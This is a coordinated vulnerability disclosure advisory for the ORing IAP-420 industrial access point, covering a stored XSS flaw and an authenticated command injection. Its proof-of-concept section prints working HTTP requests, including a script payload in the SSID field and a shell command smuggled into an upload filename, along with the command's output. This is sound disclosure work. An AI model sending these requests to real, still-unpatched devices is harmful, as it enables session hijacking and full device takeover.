CyberDanube Security Research 20240528-0 ------------------------------------------------------------------------------- title| Multiple Vulnerabilities product| ORing IAP-420 vulnerable version| 2.01e fixed version| - CVE number| CVE-2024-5410, CVE-2024-5411 impact| High homepage| https://oringnet.com/ found| 2024-01-19 by| T. Weber (Office Vienna) | CyberDanube Security Research | Vienna | St. Plten | | https://www.cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "Founded in 2005, ORing specializes in developing innovative own-branded products for industrial settings. Over the years, ORing has accumulated abundant experience in wired and wireless network communications industry. In line with the commercialization of 5G, ORing has stretched its arm into the IIoT field, helping customers realize all kinds of IIoT applications such as smart manufacturing, smart city, and industrial automation. With high product quality and best customer services in mind, ORing has continued to launch cutting-edge products catering to customer needs. ORing's products have been widely adopted in surveillance, rail transport, industrial automation, power substations, renewable energy, and marine industries with offices worldwide to address customer needs in real time." Source: https://oringnet.com/en/about-us/company-profile Vulnerable versions ------------------------------------------------------------------------------- IAP-420 / 2.01e Vulnerability overview ------------------------------------------------------------------------------- 1) Stored Cross-Site Scripting (CVE-2024-5410) A Stored Cross-Site Scripting vulnerability was identified in the web interface of the device. The SSID of the WiFi can be configured to contain arbitrary JavaScript code. An attacker can exploit this vulnerability by luring a victim to visit a malicious website. Furthermore, it is possible to hijack the session of the attacked user. 2) Authenticated Command Injection (CVE-2024-5411) The filename parameter of the config file upload is prone to a Command Injection vulnerability. This vulnerability can only be exploited if a user is authenticated to the web interface. This way, an attacker can invoke commands and is able to get full control over the whole device. Proof of Concept ------------------------------------------------------------------------------- 1) Stored Cross-Site Scripting (CVE-2024-5410) Stored Cross-Site Scripting can be triggered by placing JavaScript code into the SSID input field of the web interface as authenticated user. A single request for injecting the script is shown below: ------------------------------------------------------------------------------- POST /cgi-bin/wl_set.cgi HTTP/1.1 Host: 192.168.0.1 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 659 Connection: keep-alive Cookie: auth=YWRtaW46YWRtaW4= Upgrade-Insecure-Requests: 1 sel_op_mode=client&sel_mssid=0&tf_ssid=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&sel_isolation=0& sel_mssid_isolation=0&sel_auth_mode=0&rb_wep_authmode=0&sel_wep_enc_bits=0& sel_wep_key_type=0&tf_key1=&tf_key2=&tf_key3=&tf_key4=&rb_wpapsk_authmode=0& rb_wpapsk_enc=0&tf_wpa_key=&rb_wpa_authmode=0&rb_wpa_enc=0&tf_ip1=&tf_ip2=& tf_ip3=&tf_ip4=&tf_radius_port=&tf_radius_key=&tf_ip1_1x=&tf_ip2_1x=& tf_ip3_1x=&tf_ip4_1x=&tf_radius_port_1x=&tf_radius_key_1x=&bt_save=Save& lang=en&channel=0&isolation=0&mssid_isolation=0&auth_mode=0&wep_authmode=0& wpapsk_authmode=0&wpa_authmode=0&wpa_enc_type=0&wep_enc_bits=0&wep_key_type=0& wep_key_index=0&ret_msg= ------------------------------------------------------------------------------- 2) Authenticated Command Injection (CVE-2024-5411) A command can be injected in the filename of the uploaded config. By sending a request as shown below, the content of the current directory can be shown: ------------------------------------------------------------------------------- POST /cgi-bin/admin_config.cgi?todo=upconf HTTP/1.1 Host: 10.69.10.2 User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------347087158737672164432057801583 Content-Length: 563 Connection: keep-alive Cookie: auth=YWRtaW46YWRtaW4= Upgrade-Insecure-Requests: 1 -----------------------------347087158737672164432057801583 Content-Disposition: form-data; name="upfile"; filename="test.bin;ls${IFS}-la;" -----------------------------347087158737672164432057801583 Content-Disposition: form-data; name="bt_upconf" Upload -----------------------------347087158737672164432057801583 Content-Disposition: form-data; name="lang" en -----------------------------347087158737672164432057801583 Content-Disposition: form-data; name="ret_msg_upconf" -----------------------------347087158737672164432057801583-- ------------------------------------------------------------------------------- This request is equal to executing "ls -la" on the console of the device. ------------------------------------------------------------------------------- HTTP/1.0 200 OK tar: can't open '/tmp/test.bin': No such file or directory drwxr-xr-x 4 root root 1024 Mar 7 14:36 . drwxr-xr-x 8 root root 1024 Jan 30 2024 .. -rwxr-xr-x 1 root root 17572 Jan 30 2024 admin_config.cgi -rwxr-xr-x 1 root root 17584 Jan 30 2024 admin_default.cgi -rwxr-xr-x 1 root root 15984 Jan 30 2024 admin_fwup.cgi -rwxr-xr-x 1 root root 12476 Jan 30 2024 admin_password.cgi -rwxr-xr-x 1 root root 13164 Jan 30 2024 admin_restart.cgi -rwxr-xr-x 1 root root 33336 Jan 30 2024 adv_filters.cgi -rwxr-xr-x 1 root root 15032 Jan 30 2024 adv_misc.cgi -rwxr-xr-x 1 root root 72168 Jan 30 2024 adv_rstp.cgi -rwxr-xr-x 1 root root 6588 Jan 30 2024 backup_unit.cgi [...] ------------------------------------------------------------------------------- The vulnerabilities were manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com). Solution ------------------------------------------------------------------------------- None Workaround ------------------------------------------------------------------------------- None Recommendation ------------------------------------------------------------------------------- CyberDanube recommends Oring customers to upgrade the firmware to the latest version available and to restrict network access to the management interface of the device. Contact Timeline ------------------------------------------------------------------------------- 2024-02-06: Contacting ORing via [email protected]. Automatic holiday reply. 2024-02-19: Asking for an update. No reply. 2024-02-28: Asking for an update. No reply. 2024-03-11: Searched for "cyber security manager" on LinkedIn. Contacted him and got the answer, that the content should be sent to "[email protected]". Sent the advisory to this address directly. 2024-03-20: Asking for an update. No reply. 2024-04-10: Asking for an update. No reply. 2024-04-30: Including [email protected]. Asking for an update. Added notification about responsible disclosure deadline. No reply. 2024-05-02: Including [email protected]. Asking for an update. Added notification about responsible disclosure deadline. No reply. 2024-05-27: Sent information that the advisory will be published on 2024-05-28. 2024-05-28: Public release of security advisory. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF T. Weber / @2024